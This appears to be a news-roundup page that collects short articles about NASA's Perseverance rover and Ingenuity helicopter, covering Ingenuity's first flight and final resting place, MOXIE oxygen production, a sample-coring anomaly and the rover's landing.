NASA Rover Spots Dead Mars Helicopter in Its “Final Resting Place”

NASA’s Mars Perseverance rover acquired this image using its Left Mastcam-Z camera. Mastcam-Z is a pair of cameras located high on the rover’s mast. This image was acquired on Feb. 4, 2024 (Sol 1052) at the local mean solar time of 13:05:37. Image Credit: NASA/JPL-Caltech/ASU

NASA’s Mars helicopter, Ingenuity, has seen its last days of flight — but its friend, the Perseverance rover, hasn’t said goodbye just yet.

Originally published earlier this month by NASA, the grainy raw images of Ingenuity sitting sadly in the sand ripples of Mars’ Neretva Vallis river valley, cleaned up images of the little chopper that could were posted by German design student Simeon Schmauss on on X-formerly-Twitter and Flickr.

The enhanced displays, as Schmauss explained, were created when he pasted together six of the raw images, zoomed in on Ingenuity, and altered the image’s colors “to approximately match what the human eye would see.”

Solar eclipses on Earth are very round. Round sun. Round moon. On Mars, it’s different. NASA’s Perseverance rover captured a solar eclipse when the red planet’s potato-shaped moon Phobos cut across the sun, blocking out an uneven part of the solar disk.

Space aficionados spotted the eclipse in raw images captured by the rover on Nov. 18. Planetary scientist Paul Byrne likened the view to a “googly eye.”

Helicopters Flying at Mars May Glow at Dusk

This is an artist’s concept of a glow surrounding a drone at Mars during flight. The glow, exaggerated for visibility, might happen if the drone’s spinning rotor blades generate an electric field that causes electric currents to flow in the Martian air around the craft. Although the currents generated by the drone in the atmosphere are small, they might be large enough to cause the air around the blades and other parts of the craft to glow a blue-purple color.

The whirling blades on drones flying above Mars may cause tiny electric currents to flow in the Martian atmosphere, according to a NASA study. These currents, if large enough, might cause the air surrounding the craft to glow. This process occurs naturally at much larger scales on Earth as a corona or electrical glow sometimes seen on aircraft and ships in electrical storms known as Saint Elmo’s Fire.

Assessing Perseverance’s Seventh Sample Collection

On Wednesday, Dec. 29 (sol 306) Perseverance successfully cored and extracted a sample from a Mars rock. Data downlinked after the sampling indicates that coring of the rock the science team nicknamed Issole went smoothly. However, during the transfer of the bit that contains the sample into the rover’s bit carousel (which stores bits and passes tubes to the tube processing hardware inside the rover), our sensors indicated an anomaly. The rover did as it was designed to do – halting the caching procedure and calling home for further instructions.

This is only the 6th time in human history a sample has been cored from a rock on a planet other than Earth, so when we see something anomalous going on, we take it slow. Here is what we know so far, and what we are doing about it.

NASA’s Perseverance Rover Just Turned Martian CO2 Into Oxygen

Image by NASA

A toaster-sized scientific instrument attached to NASA’s Perseverance rover just sucked up a bit of carbon dioxide from the surrounding Martian atmosphere and converted it into oxygen.

It’s a groundbreaking first that could lead to a future in which space travelers are not only able to generate air to breathe, but rocket fuel to get them back to Earth as well — while still on Mars.

The instrument, called the Mars Oxygen In-Situ Resource Utilization Experiment (MOXIE), is a technology demonstration that could eventually be scaled up to produce enough propellant to enable a crew of astronauts to take off from the surface of the Red Planet.

“This is a critical first step at converting carbon dioxide to oxygen on Mars,” said Jim Reuter, associate administrator of NASA’s Space Technology Mission Directorate (STMD), in a statement. “MOXIE has more work to do, but the results from this technology demonstration are full of promise as we move toward our goal of one day seeing humans on Mars.”

NASA’s Ingenuity Mars Helicopter Succeeds in Historic First Flight

Monday, NASA’s Ingenuity Mars Helicopter became the first aircraft in history to make a powered, controlled flight on another planet. The Ingenuity team at the agency’s Jet Propulsion Laboratory in Southern California confirmed the flight succeeded after receiving data from the helicopter via NASA’s Perseverance Mars rover at 6:46 a.m. EDT (3:46 a.m. PDT).

“Ingenuity is the latest in a long and storied tradition of NASA projects achieving a space exploration goal once thought impossible,” said acting NASA Administrator Steve Jurczyk. “The X-15 was a pathfinder for the space shuttle. Mars Pathfinder and its Sojourner rover did the same for three generations of Mars rovers. We don’t know exactly where Ingenuity will lead us, but today’s results indicate the sky – at least on Mars – may not be the limit.”

The solar-powered helicopter first became airborne at 3:34 a.m. EDT (12:34 a.m. PDT) – 12:33 Local Mean Solar Time (Mars time) – a time the Ingenuity team determined would have optimal energy and flight conditions. Altimeter data indicate Ingenuity climbed to its prescribed maximum altitude of 10 feet (3 meters) and maintained a stable hover for 30 seconds. It then descended, touching back down on the surface of Mars after logging a total of 39.1 seconds of flight. Additional details on the test are expected in upcoming downlinks.

Ingenuity’s initial flight demonstration was autonomous – piloted by onboard guidance, navigation, and control systems running algorithms developed by the team at JPL. Because data must be sent to and returned from the Red Planet over hundreds of millions of miles using orbiting satellites and NASA’s Deep Space Network, Ingenuity cannot be flown with a joystick, and its flight was not observable from Earth in real time.

The Golden Box That Could Create Oxygen on Mars

MOXIE is already on the Red Planet. It’s now time to test it out.

Humanity’s future on Mars may depend on a golden box about the size of a car battery.

On February 18, NASA’s Perseverance rover landed on Mars with this box, called MOXIE, nestled in its belly.

MOXIE was designed to convert carbon dioxide into oxygen on Mars, and NASA plans to put it to the test within the next few months. If it works as hoped, the instrument could play a key role in getting astronauts home from Mars — and maybe even help them survive while on the Red Planet.

NASA can’t send people to Mars until it knows it can also bring them back, and that means making sure the astronauts have enough rocket propellant for the return trip.

The most straightforward option is to send the propellant — a combination of oxygen and rocket fuel — to Mars with the astronauts.

NASA’s ‘Mars Helicopter’ Ingenuity will reach the Red Planet next month

Ingenuity and Perseverance should touch down on Mars February 18, 2021

Something to look forward to: NASA’s latest explorer rover is set to make contact with Mars’ surface next month, on February 18. It’s an important step for the space agency, and not just due to the rover itself: its cargo is equally important. The Perseverance rover is carrying the first-ever “Mars Helicopter,” aptly known as Ingenuity.

Ingenuity is a small, lightweight helicopter with two rotors, each made from durable carbon fiber. The rotors will spin in opposing directions, at speeds of “around 2,400 rpm,” which is “many times” faster than what you’d see on any passenger helicopter on Earth.

So, why are those speeds necessary, and why is Ingenuity so light? According to NASA, Mars’ extremely thin atmosphere is to blame. With much less usable air than Earth, any flying vehicle attempting to fly on the Red Planet would need considerably faster rotors to generate enough lift to get off the ground.

NASA video shows Perseverance rover’s planned ‘terror’ landing on Mars

NASA has shown what it will look like when its Perseverance rover touches down on Mars, a challenging sequence that the agency describes as “7 minutes of terror.”

The Perseverance rover was launched in the summer and is scheduled to arrive on Mars in February [2021].

Once it reaches Mars’ atmosphere on its way to Jezero Crater, it must slow down from its speed of 12,000 mph in a span of 7 minutes, touch down on the rust-colored surface and disconnect from the main spacecraft.

Tuesday, NASA released an animation that showed the complex process.

The rover will carry state-of-the-art onboard cameras and microphones that will record the landing for NASA to study — if all goes well.
